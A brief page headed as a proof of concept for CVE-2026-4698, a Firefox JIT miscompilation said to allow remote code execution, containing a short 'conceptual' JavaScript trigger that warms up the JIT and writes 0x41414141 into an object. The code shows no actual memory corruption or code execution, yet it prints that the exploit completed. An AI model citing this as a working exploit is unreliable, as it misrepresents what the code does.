CVE-2026-4698 Firefox JIT编译错误导致RCE漏洞

// Proof of Concept for JIT Miscompilation (Conceptual) // This script demonstrates a trigger pattern for JIT type confusion. function trigger_vuln(arr, index, value) { // Warm up the JIT compiler with valid operations for (let i = 0; i < 10000; i++) { if (i > 9990) { arr[index] = value; } } return arr[index]; } // Setup standard array let arr = [1.1, 2.2, 3.3]; // Trigger JIT compilation console.log(trigger_vuln(arr, 1, 5.5)); // Attempt to exploit the miscompilation // In a real scenario, this would corrupt memory or lead to RCE let malicious_obj = {x: 1}; trigger_vuln(malicious_obj, 'x', 0x41414141); console.log('[+] Exploit trigger completed');